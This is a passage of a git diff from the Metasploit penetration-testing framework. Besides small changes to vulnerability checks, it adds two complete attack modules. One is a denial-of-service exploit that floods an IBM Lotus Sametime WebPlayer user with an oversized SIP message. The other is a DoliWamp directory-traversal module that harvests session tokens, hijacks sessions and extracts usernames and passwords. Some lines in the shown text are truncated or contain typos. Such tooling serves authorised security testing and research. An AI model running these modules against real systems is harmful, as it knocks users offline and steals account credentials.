- if setup_ftp_connection() - grab() - end + if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected + print_status("Service detected.") + grab() if setup_ftp_connection() + else + grab() if setup_ftp_connection() end end diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index 02587acb33..44b6f5c0c1 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def check # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/ # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted - status = Exploit::CheckCode::Unknown + status = Exploit::CheckCode::Safe connect sock.put(http_request("GEM")) begin @@ -56,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary rescue EOFError # checking against >= 0.10.17 raises EOFError because there is no # response to GEM requests + vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)") + return Msf::Exploit::CheckCode::Unknown ensure disconnect end diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb new file mode 100644 index 0000000000..32c6c0ef6f --- /dev/null +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -0,0 +1,235 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Sametime WebPlayer DoS', + 'Description' => %q{ + This module exploits a known flaw in the IBM Lotus Sametime WebPlayer + version 8.5.2.1392 (and prior) to cause a denial of service condition + against specific users. For this module to function the target user + must be actively logged into the IBM Lotus Sametime server and have + the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a + browser extension. The user should have the WebPlayer plug-in active + (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. + }, + 'Author' => + [ + 'Chris John Riley', # Vulnerability discovery + 'kicks4kittens' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['DOS', + { + 'Description' => 'Cause a Denial Of Service condition against a connected user' + } + ], + ['CHECK', + { + 'Description' => 'Checking if targeted user is online' + } + ] + ], + 'DefaultAction' => 'DOS', + 'References' => + [ + [ 'CVE', '2013-3986' ], + [ 'OSVDB', '99552' ], + [ 'BID', '63611'], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] + ], + 'DisclosureDate' => 'Nov 07 2013')) + + register_options( + [ + Opt::RPORT(5060), + OptAddress.new('RHOST', [true, 'The Sametime Media Server']), + OptString.new('SIPURI', [ + true, + 'The SIP URI of the user to be targeted', + '@' + ]), + OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) + ], self.class) + + end + + def setup + # cleanup SIP target to ensure it's in the correct format to use + @sipuri = datastore['SIPURI'] + if @sipuri[0, 4].downcase == "sip:" + # remove sip: if present in string + @sipuri = @sipuri[4, @sipuri.length] + end + if @sipuri[0, 12].downcase == "webavclient-" + # remove WebAVClient- if present in string + @sipuri = @sipuri[12, @sipuri.length] + end + end + + def run + # inform user of action currently selected + print_status("#{peer} - Action: #{action.name} selected") + + # CHECK action + if action.name == 'CHECK' + print_status("#{peer} - Checking if user #{@sipuri} is online") + if check_user + print_good("#{peer} - User online") + else + print_status("#{peer} - User offline") + end + return + end + + # DOS action + print_status("#{peer} - Checking if user #{@sipuri} is online") + check_result = check_user + + if check_result == false + print_error("#{peer} - User is already offline... Exiting...") + return + end + + # only proceed if action is DOS the target user is + # online or the CHECKUSER option has been disabled + print_status("#{peer} - Targeting user: #{@sipuri}...") + dos_result = dos_user + + if dos_result + print_good("#{peer} - User is offline, DoS was successful") + else + print_error("#{peer} - User is still online") + end + + end + + def peer + "#{rhost}:#{rport}" + end + + def dos_user + length = 12000 # enough to overflow the end of allocated memory + msg = create_message(length) + res = send_msg(msg) + + if res.nil? + vprint_good("#{peer} - User #{@sipuri} is no responding") + return true + elsif res =~ /430 Flow Failed/i + vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)") + vprint_good("#{peer} - User #{@sipuri} is no longer responding") + return true + elsif res =~ /404 Not Found/i + vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)") + vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session") + return true + elsif res =~ /200 OK/i + vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)") + vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer") + return false + else + vprint_status("#{peer} - Unexpected response") + return true + end + end + + # used to check the user is logged into Sametime and after DoS to check success + def check_user + length = Rex::Text.rand_text_numeric(2) # just enough to check response + msg = create_message(length) + res = send_msg(msg) + + # check response for current user status - common return codes + if res.nil? + vprint_error("#{peer} - No response") + return false + elsif res =~ /430 Flow Failed/i + vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)") + return false + elsif res =~ /404 Not Found/i + vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session") + return false + elsif res =~ /200 OK/i + vprint_good("#{peer} - User #{@sipuri} is online") + return true + else + vprint_error("#{peer} - Unknown server response") + return false + end + end + + def create_message(length) + # create SIP MESSAGE of specified length + vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long") + + source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1) + source_host = Rex::Socket.source_address(datastore['RHOST']) + src = "#{source_host}:#{datastore['RPORT']}" + cseq = Rex::Text.rand_text_numeric(3) + message_text = Rex::Text.rand_text_alphanumeric(length.to_i) + branch = Rex::Text.rand_text_alphanumeric(7) + + # setup SIP message in the correct format expected by the server + data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" + data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" + data << "Max-Forwards: 80\r\n" + data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" + data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n" + data << "CSeq: #{cseq} MESSAGE" + "\r\n" + data << "Content-Type: text/plain;charset=utf-8" + "\r\n" + data << "User-Agent: #{source_user}\r\n" + data << "Content-Length: #{message_text.length}" + "\r\n\r\n" + data << message_text + + return data + end + + def timing_get_once(s, length) + if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 + return s.get_once(length, datastore['TIMEOUT']) + else + return s.get_once(length) + end + end + + def send_msg(msg) + begin + s = connect + # send message and store response + s.put(msg + "\r\n\r\n") rescue nil + # read response + res = timing_get_once(s, 25) + if res == "\r\n" + # retry request + res = timing_get_once(s, 25) + end + return res + rescue ::Rex::ConnectionRefused + print_status("#{peer} - Unable to connect") + return nil + rescue ::Errno::ECONNRESET + print_status("#{peer} - DoS packet successful, host not responding.") + return nil + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("#{peer} - Couldn't connect") + return nil + ensure + # disconnect socket if still open + disconnect if s + end + end +end diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index bc37d89b7b..f08e3f9ed9 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptBool.new('CHECK', [false, 'Only check for vulnerability', false]), OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/']) ], self.class) end @@ -116,6 +115,14 @@ class Metasploit3 < Msf::Auxiliary end def check + if check_cf + return Msf::Exploit::CheckCode::Vulnerable + end + + Msf::Exploit::CheckCode::Safe + end + + def check_cf vuln = false url = '/CFIDE/adminapi/customtags/l10n.cfm' res = send_request_cgi({ @@ -171,17 +178,11 @@ class Metasploit3 < Msf::Auxiliary return end - if(not check) + if(not check_cf) print_status("#{peer} can't be exploited (either files missing or permissions block access)") return end - if (datastore['CHECK'] ) - print_good("#{peer} is vulnerable and most likely exploitable") if check - return - end - - res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'), diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb new file mode 100644 index 0000000000..f53eef3a90 --- /dev/null +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", + 'Description' => %q{ + This module will extract user credentials from DoliWamp - a WAMP + packaged installer distribution for Dolibarr ERP on Windows - versions + 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session + tokens in filenames in the 'tmp' directory. A directory traversal + vulnerability in 'jqueryFileTree.php' allows unauthenticated users + to retrieve session tokens by listing the contents of this directory. + Note: All tokens expire after 30 minutes of inactivity by default. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Brendan Coles ', + 'References' => + [ + ['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], + ['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] + ], + 'DisclosureDate' => 'Jan 12 2014')) + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), + OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) + ], self.class) + end + + # + # Find session tokens + # + def get_session_tokens + tokens = nil + print_status("#{peer} - Finding session tokens...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri( + target_uri.path, + 'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'), + 'cookie' => @cookie, + 'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.code == 404 + print_error("#{peer} - Could not find 'jqueryFileTree.php'") + elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)sess_([a-z0-9]+) 'GET', + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie, + 'vars_get' => Hash[{ + 'action' => 'edit', + 'id' => "#{user_id}" + }.to_a.shuffle] + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /User card/ + record = [ + res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first, + res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first + ] + unless record.empty? + print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})") + return record + end + else + print_warning("#{peer} - Could not retrieve user credentials") + end + end + + # + # Verify if session cookie is valid and return user's ID + # + def get_user_id + # print_debug("#{peer} - Trying to hijack session '#{@cookie}'") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /